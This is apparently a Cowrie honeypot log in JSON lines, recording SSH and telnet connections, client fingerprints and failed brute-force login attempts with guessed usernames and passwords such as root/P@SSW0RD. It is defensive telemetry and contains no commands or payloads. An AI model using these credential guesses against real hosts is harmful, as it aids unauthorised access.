{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":58174,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddcf1169c7cb","protocol":"ssh","message":"New connection: 20.228.193.165:58174 (10.17.0.5:22) [session: ddcf1169c7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:45.843006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:45.847600Z","src_ip":"20.228.193.165","session":"ddcf1169c7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:45.865743Z","src_ip":"20.228.193.165","session":"ddcf1169c7cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0RD","message":"login attempt [root/P@SSW0RD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:45.978027Z","src_ip":"20.228.193.165","session":"ddcf1169c7cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:31:46.995457Z","src_ip":"20.228.193.165","session":"ddcf1169c7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54304,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ef7886b760","protocol":"telnet","message":"New connection: 170.64.224.25:54304 (159.203.135.109:23) [session: 23ef7886b760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:16.364733Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":40604,"dst_ip":"10.17.0.5","dst_port":22,"session":"f231ffec7c81","protocol":"ssh","message":"New connection: 162.241.132.183:40604 (10.17.0.5:22) [session: f231ffec7c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:36.441051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:36.445810Z","src_ip":"162.241.132.183","session":"f231ffec7c81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:36.473635Z","src_ip":"162.241.132.183","session":"f231ffec7c81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"safepalwallet","password":"safepal123","message":"login attempt [safepalwallet/safepal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:36.560201Z","src_ip":"162.241.132.183","session":"f231ffec7c81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38572,"dst_ip":"159.203.135.109","dst_port":23,"session":"944e9ce29638","protocol":"telnet","message":"New connection: 170.64.224.25:38572 (159.203.135.109:23) [session: 944e9ce29638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:37.097744Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:37.589422Z","src_ip":"162.241.132.183","session":"f231ffec7c81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38610,"dst_ip":"10.17.0.5","dst_port":22,"session":"da32b322b9df","protocol":"ssh","message":"New connection: 103.77.242.62:38610 (10.17.0.5:22) [session: da32b322b9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:41.652656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:41.657727Z","src_ip":"103.77.242.62","session":"da32b322b9df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:41.903953Z","src_ip":"103.77.242.62","session":"da32b322b9df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051996","message":"login attempt [root/12051996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:42.625473Z","src_ip":"103.77.242.62","session":"da32b322b9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":58620,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc8e01430801","protocol":"ssh","message":"New connection: 189.203.163.10:58620 (10.17.0.5:22) [session: bc8e01430801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:43.794593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:43.798784Z","src_ip":"189.203.163.10","session":"bc8e01430801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:43.858480Z","src_ip":"189.203.163.10","session":"bc8e01430801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:43.870291Z","src_ip":"103.77.242.62","session":"da32b322b9df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@2024","message":"login attempt [root/Test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:44.133252Z","src_ip":"189.203.163.10","session":"bc8e01430801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:45.195968Z","src_ip":"189.203.163.10","session":"bc8e01430801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":57953,"dst_ip":"10.17.0.5","dst_port":22,"session":"843e5529d32e","protocol":"ssh","message":"New connection: 160.174.129.232:57953 (10.17.0.5:22) [session: 843e5529d32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:48.969263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:48.976814Z","src_ip":"160.174.129.232","session":"843e5529d32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:49.103786Z","src_ip":"160.174.129.232","session":"843e5529d32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz1234","message":"login attempt [root/1qaz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:49.643129Z","src_ip":"160.174.129.232","session":"843e5529d32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:50.773571Z","src_ip":"160.174.129.232","session":"843e5529d32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.79714894294739,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:52.161758Z","src_ip":"170.64.224.25","session":"23ef7886b760","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":51056,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebae69346fa0","protocol":"ssh","message":"New connection: 138.197.164.175:51056 (10.17.0.5:22) [session: ebae69346fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:56.107215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:56.111655Z","src_ip":"138.197.164.175","session":"ebae69346fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:56.128911Z","src_ip":"138.197.164.175","session":"ebae69346fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345!","message":"login attempt [root/Qwerty12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:56.235358Z","src_ip":"138.197.164.175","session":"ebae69346fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:32:57.259517Z","src_ip":"138.197.164.175","session":"ebae69346fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":41708,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf08cb189c0","protocol":"ssh","message":"New connection: 177.16.244.39:41708 (10.17.0.5:22) [session: cdf08cb189c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:02.740614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:02.744656Z","src_ip":"177.16.244.39","session":"cdf08cb189c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:02.892025Z","src_ip":"177.16.244.39","session":"cdf08cb189c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn","message":"login attempt [root/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:03.440986Z","src_ip":"177.16.244.39","session":"cdf08cb189c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:04.572006Z","src_ip":"177.16.244.39","session":"cdf08cb189c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":42612,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7efe4d46b54","protocol":"ssh","message":"New connection: 91.92.40.4:42612 (10.17.0.5:22) [session: b7efe4d46b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:29.207040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:29.211414Z","src_ip":"91.92.40.4","session":"b7efe4d46b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:29.291769Z","src_ip":"91.92.40.4","session":"b7efe4d46b54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passpass","message":"login attempt [user/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:29.540053Z","src_ip":"91.92.40.4","session":"b7efe4d46b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:30.623103Z","src_ip":"91.92.40.4","session":"b7efe4d46b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.07672381401062,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:31.174335Z","src_ip":"170.64.224.25","session":"944e9ce29638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":58936,"dst_ip":"10.17.0.5","dst_port":22,"session":"d547d17f648b","protocol":"ssh","message":"New connection: 20.228.193.165:58936 (10.17.0.5:22) [session: d547d17f648b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:31.907418Z"}
